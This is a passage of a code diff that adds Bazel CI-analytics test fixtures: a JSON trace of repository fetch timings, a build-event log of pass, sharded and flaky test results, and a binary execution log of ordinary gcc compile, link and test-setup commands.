"@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6685054, "dur": 379, "pid": 1, "tid": 854}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_toolchain_config_repo", "ph": "X", "ts": 6685323, "dur": 5559, "pid": 1, "tid": 683}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685099, "dur": 6503, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_toolchain_config_repo", "ph": "X", "ts": 6684997, "dur": 6803, "pid": 1, "tid": 732}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_toolchain_config_repo", "ph": "X", "ts": 6685392, "dur": 6884, "pid": 1, "tid": 665}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6685115, "dur": 7208, "pid": 1, "tid": 856}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685367, "dur": 7550, "pid": 1, "tid": 670}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_toolchain_config_repo", "ph": "X", "ts": 6685324, "dur": 7597, "pid": 1, "tid": 768}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6684990, "dur": 8176, "pid": 1, "tid": 782}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685222, "dur": 8048, "pid": 1, "tid": 766}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685348, "dur": 8862, "pid": 1, "tid": 790}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685310, "dur": 8952, "pid": 1, "tid": 857}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685220, "dur": 9481, "pid": 1, "tid": 682}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685182, "dur": 9900, "pid": 1, "tid": 719}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685359, "dur": 9680, "pid": 1, "tid": 865}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685461, "dur": 9896, "pid": 1, "tid": 764}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_win_toolchain_config_repo", "ph": "X", "ts": 6685455, "dur": 11082, "pid": 1, "tid": 759}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6685164, "dur": 11410, "pid": 1, "tid": 762}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685111, "dur": 12321, "pid": 1, "tid": 869}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_win_toolchain_config_repo", "ph": "X", "ts": 6685202, "dur": 12282, "pid": 1, "tid": 851}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_linux_toolchain_config_repo", "ph": "X", "ts": 6685107, "dur": 12890, "pid": 1, "tid": 767}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685095, "dur": 13732, "pid": 1, "tid": 866}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+local_jdk", "ph": "X", "ts": 6685588, "dur": 13336, "pid": 1, "tid": 849}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_toolchain_config_repo", "ph": "X", "ts": 6685509, "dur": 13589, "pid": 1, "tid": 716}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_macos_toolchain_config_repo", "ph": "X", "ts": 6685221, "dur": 13932, "pid": 1, "tid": 821}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_macos_toolchain_config_repo", "ph": "X", "ts": 6685051, "dur": 16157, "pid": 1, "tid": 701}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685219, "dur": 16363, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_linux_ppc64le_toolchain_config_repo", "ph": "X", "ts": 6686285, "dur": 15952, "pid": 1, "tid": 850}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_toolchain_config_repo", "ph": "X", "ts": 6685288, "dur": 17582, "pid": 1, "tid": 731}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_linux_s390x_toolchain_config_repo", "ph": "X", "ts": 6685099, "dur": 17808, "pid": 1, "tid": 714}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk17_win_arm64_toolchain_config_repo", "ph": "X", "ts": 6685225, "dur": 17968, "pid": 1, "tid": 772}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685222, "dur": 18683, "pid": 1, "tid": 863}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remote_jdk8_windows_toolchain_config_repo", "ph": "X", "ts": 6685092, "dur": 19211, "pid": 1, "tid": 771}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_win_toolchain_config_repo", "ph": "X", "ts": 6685240, "dur": 19807, "pid": 1, "tid": 686}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_toolchain_config_repo", "ph": "X", "ts": 6685223, "dur": 19891, "pid": 1, "tid": 867}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk21_linux_riscv64_toolchain_config_repo", "ph": "X", "ts": 6685270, "dur": 19975, "pid": 1, "tid": 770}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_macos_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685383, "dur": 20945, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk25_linux_aarch64_toolchain_config_repo", "ph": "X", "ts": 6685358, "dur": 20992, "pid": 1, "tid": 852}, +{"cat": "Fetching repository", "name": "@@rules_java++toolchains+remotejdk11_macos_toolchain_config_repo", "ph": "X", "ts": 6685366, "dur": 21318, "pid": 1, "tid": 838}, +{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 6446582, "dur": 609243, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_kotlin+", "ph": "X", "ts": 7056087, "dur": 135, "pid": 1, "tid": 700}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7066480, "dur": 20, "pid": 1, "tid": 769}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7073352, "dur": 1303, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7074884, "dur": 448, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7076116, "dur": 215, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7076575, "dur": 912, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_kotlin++rules_kotlin_extensions+com_github_jetbrains_kotlin", "ph": "X", "ts": 7077639, "dur": 562, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 6447628, "dur": 696061, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_python+", "ph": "X", "ts": 7144348, "dur": 234, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_python++uv+uv", "ph": "X", "ts": 7158611, "dur": 2966, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_python++python+pythons_hub", "ph": "X", "ts": 7251169, "dur": 7712, "pid": 1, "tid": 864}, +{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7289289, "dur": 19, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7299107, "dur": 16, "pid": 1, "tid": 860}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7306163, "dur": 214, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7306477, "dur": 1491, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_python++config+rules_python_internal", "ph": "X", "ts": 7308087, "dur": 2631, "pid": 1, "tid": 734}, +{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7289673, "dur": 44756, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@rules_license+", "ph": "X", "ts": 7334636, "dur": 163, "pid": 1, "tid": 694}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7430613, "dur": 18, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7430912, "dur": 285, "pid": 1, "tid": 784}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7431527, "dur": 37249, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7469049, "dur": 688, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7469907, "dur": 462, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 7470561, "dur": 714698, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@rules_cc++cc_configure_extension+local_config_cc", "ph": "X", "ts": 8185888, "dur": 1894, "pid": 1, "tid": 859}, +{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8206177, "dur": 16, "pid": 1, "tid": 865}, +{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8207846, "dur": 202, "pid": 1, "tid": 858}, +{"cat": "Fetching repository", "name": "@@bazel_tools+xcode_configure_extension+local_config_xcode", "ph": "X", "ts": 8208145, "dur": 1651, "pid": 1, "tid": 858} +]} diff --git a/tools/bazel/testdata/ci_analytics/real/postclean-bep.json b/tools/bazel/testdata/ci_analytics/real/postclean-bep.json new file mode 100644 index 000000000..a7d90d64e --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/postclean-bep.json @@ -0,0 +1,12 @@ +{"id": {"started": {}}, "started": {"uuid": "f2369dd1-2e00-4af2-8147-111452c04cce", "startTimeMillis": "1791360370092", "buildToolVersion": "9.2.0", "command": "test"}} +{"id": {"testResult": {"label": "//:pass_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "41", "status": "PASSED", "testAttemptDuration": "0.041s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:pass_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "totalNumCached": 1, "attemptCount": 1}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "44", "status": "PASSED", "testAttemptDuration": "0.044s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 2, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testResult": {"label": "//:sharded_test", "run": 1, "shard": 3, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "45", "status": "PASSED", "testAttemptDuration": "0.045s", "executionInfo": {"strategy": "disk cache hit", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0.001s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:sharded_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "PASSED", "totalNumCached": 3, "shardCount": 3, "attemptCount": 1}} +{"id": {"testResult": {"label": "//:flaky_test", "run": 1, "shard": 1, "attempt": 1, "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testResult": {"testAttemptDurationMillis": "36", "status": "FAILED", "testAttemptDuration": "0.036s", "executionInfo": {"strategy": "processwrapper-sandbox", "timingBreakdown": {"child": [{"name": "parseTime", "time": "0s"}, {"name": "fetchTime", "time": "0s"}, {"name": "queueTime", "time": "0s"}, {"name": "uploadTime", "time": "0s"}, {"name": "setupTime", "time": "0s"}, {"name": "executionWallTime", "time": "0.036s"}, {"name": "processOutputsTime", "time": "0s"}, {"name": "networkTime", "time": "0s"}]}}}} +{"id": {"testSummary": {"label": "//:flaky_test", "configuration": {"id": "e722a217ced723dfeb49874b2007895ae0dc9a9d49d004d95320b88c609c409a"}}}, "testSummary": {"overallStatus": "FAILED", "attemptCount": 1}} +{"id": {"buildFinished": {}}, "finished": {"finishTimeMillis": "1791360370833", "exitCode": {"name": "TESTS_FAILED", "code": 3}}} +{"id": {"buildToolLogs": {}}, "buildToolLogs": {"log": [{"name": "elapsed time", "contents": "MC43NDEwMDA="}, {"name": "critical path", "contents": "Q3JpdGljYWwgUGF0aDogMC4xMXMsIFJlbW90ZSAoMC4wMCUgb2YgdGhlIHRpbWUpOiBbcGFyc2U6IDAuMDAlLCBxdWV1ZTogMC4wMCUsIG5ldHdvcms6IDAuMDAlLCB1cGxvYWQ6IDAuMDAlLCBzZXR1cDogMC4wMCUsIHByb2Nlc3M6IDAuMDAlLCBmZXRjaDogMC4wMCUsIHJldHJ5OiAwLjAwJSwgcHJvY2Vzc091dHB1dHM6IDAuMDAlLCBvdGhlcjogMC4wMCUsIGlucHV0IGZpbGVzOiAwLCBpbnB1dCBieXRlczogMCwgbWVtb3J5IGJ5dGVzOiAwXQogIDAuMDhzIGFjdGlvbiAnVGVzdGluZyAvLzpmbGFreV90ZXN0JwogIDAuMDBzIHJ1bmZpbGVzIGZvciAvLzpmbGFreV90ZXN0CiAgMC4wMXMgYWN0aW9uICdMaW5raW5nIGZsYWt5X3Rlc3QnCiAgMC4wMXMgYWN0aW9uICdDb21waWxpbmcgbWFpbl9mYWlsLmMn"}, {"name": "process stats", "contents": "MjUgcHJvY2Vzc2VzOiAxNiBkaXNrIGNhY2hlIGhpdCwgMTMgaW50ZXJuYWwsIDEgcHJvY2Vzc3dyYXBwZXItc2FuZGJveC4="}, {"name": "command.profile.gz"}, {"name": "execution_log.binpb.zst"}]}} +{"id": {"buildMetrics": {}}, "buildMetrics": {"timingMetrics": {"cpuTimeInMs": "11020", "wallTimeInMs": "733", "analysisPhaseTimeInMs": "332", "executionPhaseTimeInMs": "386", "actionsExecutionStartInMs": "336", "criticalPathTime": "0.111170468s"}, "actionSummary": {"actionsCreated": "39", "actionsExecuted": "25", "runnerCount": [{"name": "total", "count": 25}, {"name": "disk cache hit", "count": 16, "execKind": "Remote"}, {"name": "internal", "count": 13}, {"name": "processwrapper-sandbox", "count": 1, "execKind": "Local"}], "actionCacheStatistics": {"misses": 25}, "actionData": [{"mnemonic": "TestRunner", "actionsExecuted": "5", "systemTime": "0.032s", "userTime": "0.004s", "actionsCreated": "15"}, {"mnemonic": "RepoMappingManifest", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "SymlinkTree", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "CppLink", "actionsExecuted": "3", "actionsCreated": "9"}, {"mnemonic": "SourceSymlinkManifest", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "RunfilesTree", "actionsExecuted": "3", "actionsCreated": "12"}, {"mnemonic": "CppCompile", "actionsExecuted": "3", "actionsCreated": "9"}, {"mnemonic": "BazelWorkspaceStatusAction", "actionsExecuted": "1", "actionsCreated": "2"}, {"mnemonic": "Genrule", "actionsExecuted": "1", "actionsCreated": "3"}, {"mnemonic": "TranslateBuildInfo", "actionsCreated": "6"}, {"mnemonic": "CcStrip", "actionsCreated": "9"}, {"mnemonic": "FileWrite", "actionsCreated": "9"}, {"mnemonic": "Symlink", "actionsCreated": "3"}, {"mnemonic": "ExecutableSymlink", "actionsCreated": "3"}]}, "packageMetrics": {"packagesLoaded": "90"}, "targetMetrics": {"targetsConfigured": "883"}, "networkMetrics": {"systemNetworkStats": {"bytesSent": "43171986", "bytesRecv": "146569473"}}}} diff --git a/tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb b/tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb new file mode 100644 index 000000000..13ec2a044 --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/real/postclean-exec.binpb @@ -0,0 +1,567 @@ +86 +SHA-256_main"$f2369dd1-2e00-4af2-8147-111452c04cce€| +3external/bazel_tools/tools/genrule/genrule-setup.shE +@2138ccc4608e0a41291680587baced12bb80379b6924c3c4c2d9ef272f99139fâ2*rn +&bazel-out/k8-fastbuild/bin/gen_out.txtD +@5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03È:Å + /bin/bash +-c +osource external/bazel_tools/tools/genrule/genrule-setup.sh; echo hello > bazel-out/k8-fastbuild/bin/gen_out.txt$ +PATH/bin:/usr/bin:/usr/local/bin 2(: +//:gen_outBGenruleZdisk cache hit`hpx‚E +@7bc5e991e8d71596d1042255f093ee1907c4614860ba7e1fe09ab6baf546c89b‘’! +€¤è"€’ôX† +`¢ ñú—Ö€µ·I§¢ +Yexternal/rules_cc++cc_configure_extension+local_config_cc/builtin_include_directory_pathsE +@8f7db3657f51747bb67c70c3f9ba2678ff87f1670e1a572c81aeef79af40c1deê•� +Gexternal/rules_cc++cc_configure_extension+local_config_cc/cc_wrapper.shE +@44de34ffa88565ff276fc5aa9971b262291db42cb486eb11cfece50454176d9b÷ +Ÿš +Qexternal/rules_cc++cc_configure_extension+local_config_cc/deps_scanner_wrapper.shE +@d273dd7612f1b110942c32c7e74046f27926fd576395d7fce0f225784fd21a1bî¢� +Texternal/rules_cc++cc_configure_extension+local_config_cc/validate_static_library.shE +@808d17e44d12a4e433a3f2d810760b641afce3714e44d350ba53ea7cf773dce8Õ +2*W S + main_fail.cD +@7b4bb8e34d20c4ec426e4770c2c8e808fea9f4c78893f9190b02c55e9f75e88b + +2"* ‰ „ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.oE +@1b679cd82a4f53b030b31b689669f8e65c4c1e90c17f805078dd2a8edb7e0584Ð W S + main_pass.cD +@2ad75d95660563887d8d3f1d0ae1dcf18c2379cbd83a5c72f5ab276351ee6949 + 2"* ˆƒ +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.dD +@082426df51ca02ea00b2382c7d7b1df16b38608090b3ce87f7c7634db459891cgˆƒ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.oE +@e1a5f327ee544bac718e414feb417ee9e04d39e9b1276e54e7e8ab02d29323b5Ð Å: + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.d +I-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_fail.c +-o +;bazel-out/k8-fastbuild/bin/_objs/flaky_test/main_fail.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd +2( 2(: //:flaky_testB +CppCompileZdisk cache hit`hpx‚E +@7db0318384af7d25cd261e60e27e11b0d098c735e707cba5d8236048e5bce944’’" +À¨¥"ÀŸ«Xö%`¢ ñú—ÖÀይ‡‚ +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.dD +@2e8ca7b27e3234d03d277791f221f2662b3b7247afe26e933a69a3e4dd36e473fÁ:¾ + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.d +H-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_pass.c +-o +:bazel-out/k8-fastbuild/bin/_objs/pass_test/main_pass.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(: //:pass_testB +CppCompileZdisk cache hit`hpx‚E +@edafc7f3d7eb8e1f73b94703ab903cd05556b98b31a5922b2439528943cbc311’’" +À¨¥"€›îXö%`¢ ñú—ÖÀؑ¬‡‚ +:external/rules_cc+/cc/private/toolchain/build_interface_soD +@ca1c6c1ec88d12130f9d59bf6b1a9d0a81cf407c586c515717c2de63dc63a80bu�ˆ +?external/rules_cc+/cc/private/toolchain/link_dynamic_library.shE +@410914e519a1d309961ba77f4549a8c92da307ce1f596c10f8284da904b17a77� 2"* +2"* {w +.bazel-out/k8-fastbuild/bin/flaky_test-0.paramsE +@c577fe96cce31d4eea72ffbb6d7aa46945f0c984f907f3be440b2d575396cc06  +2"* +2"*zv +-bazel-out/k8-fastbuild/bin/pass_test-0.paramsE +@1c4343b244ba16563979291c4538e0c3eaad825d8f3c544062a69a6a939af671ž +2"*rn +%bazel-out/k8-fastbuild/bin/flaky_testE +@674a99e83e5c4ed8beafe2af4d7b0ac254838e7f05e1c5c9cc9010cfe8a2dd78¨0qm +$bazel-out/k8-fastbuild/bin/pass_testE +@d26a879186fed4dc742a5c000a7ab235b0a1009c0d291006150806c5c8015409¨0¬:© + /usr/bin/gcc +.@bazel-out/k8-fastbuild/bin/pass_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:pass_testBCppLinkZdisk cache hit`hpx‚E +@40a597b9bccac093484d0c5f4e3afa0f6cc312bd363a2dac74c8ef6e269d344d’’ +À±ŸXÝZ`¢ ñú—Ö€£ÌÁ®:« + /usr/bin/gcc +/@bazel-out/k8-fastbuild/bin/flaky_test-0.params$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd + ZERO_AR_DATE1 2(: //:flaky_testBCppLinkZdisk cache hit`hpx‚E +@4894cc5cc7eba8d833a50277c20d3f8ca3e8d632ad4de6ec97ba0d469d36c578’’ +€­âXáZ`¢ ñú—Ö€µÀÃYU + main_shard.cE +@7cfaebd87ccc933f629e4c77aad22d17d9372fb0845f98c99613e71df0028098ù +2"*Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.oE +@0d35f7d26f0b4af9e7b916c3905b7283fa2021551639d8a9ec079027d9a2c380° Œ‡ +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.dE +@f66abbbe9d483307c493d0cf1ab6809bf6aa64da7e155a7ba6e83ac66e976286®Ê:Ç + /usr/bin/gcc +-U_FORTIFY_SOURCE +-fstack-protector +-Wall +-Wunused-but-set-parameter +-Wno-free-nonheap-object +-fno-omit-frame-pointer +-MD +-MF +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.d +L-frandom-seed=bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fPIC +-iquote +. +-iquote +bazel-out/k8-fastbuild/bin +-iquote +external/rules_cc+ +-iquote +-bazel-out/k8-fastbuild/bin/external/rules_cc+ +-iquote +external/bazel_tools +-iquote +/bazel-out/k8-fastbuild/bin/external/bazel_tools +-c + main_shard.c +-o +>bazel-out/k8-fastbuild/bin/_objs/sharded_test/main_shard.pic.o +-fno-canonical-system-headers +-Wno-builtin-macro-redefined +-D__DATE__="redacted" +-D__TIMESTAMP__="redacted" +-D__TIME__="redacted"$ +PATH/bin:/usr/bin:/usr/local/bin +PWD/proc/self/cwd 2(2(://:sharded_testB +CppCompileZdisk cache hit`hpx‚E +@ecb953f2ab45730fa4a7a8d72dac46d1a42af9563bdf7a599c6d3fca1f3add26’’ +€­âXÔ'`¢ ñú—ÖÀž�Á 2*}!Ry +-bazel-out/k8-fastbuild/bin/pass_test.runfiles 2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026az"v +-external/bazel_tools/tools/test/test-setup.shE +@49ba08927c3c556c52c6f771eaca362a0dbd1b6e19fd2667c61d92c33a32278aåt|#x +/external/bazel_tools/tools/test/generate-xml.shE +@368e50ceca617b237c60adf70105cf6e1d33427f232c78239a3e7c10a4d93ebfí' $2*!"#<%"8 +6bazel-out/k8-fastbuild/testlogs/pass_test/test.outputsÃ:À +-external/bazel_tools/tools/test/test-setup.sh + ./pass_test> + JAVA_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/bin@ +PYTHON_RUNFILES-bazel-out/k8-fastbuild/bin/pass_test.runfiles= + RUNFILES_DIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./pass_testi + TEST_INFRASTRUCTURE_FAILURE_FILEEbazel-out/k8-fastbuild/testlogs/pass_test/test.infrastructure_failurek +TEST_LOGSPLITTER_OUTPUT_FILEKbazel-out/k8-fastbuild/testlogs/pass_test/test.raw_splitlogs/test.splitlogs] +TEST_PREMATURE_EXIT_FILEAbazel-out/k8-fastbuild/testlogs/pass_test/test.exited_prematurely + TEST_SIZEmedium< + TEST_SRCDIR-bazel-out/k8-fastbuild/bin/pass_test.runfiles + TEST_TARGET //:pass_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/bbb994006a201e70ea51a76491bba66br 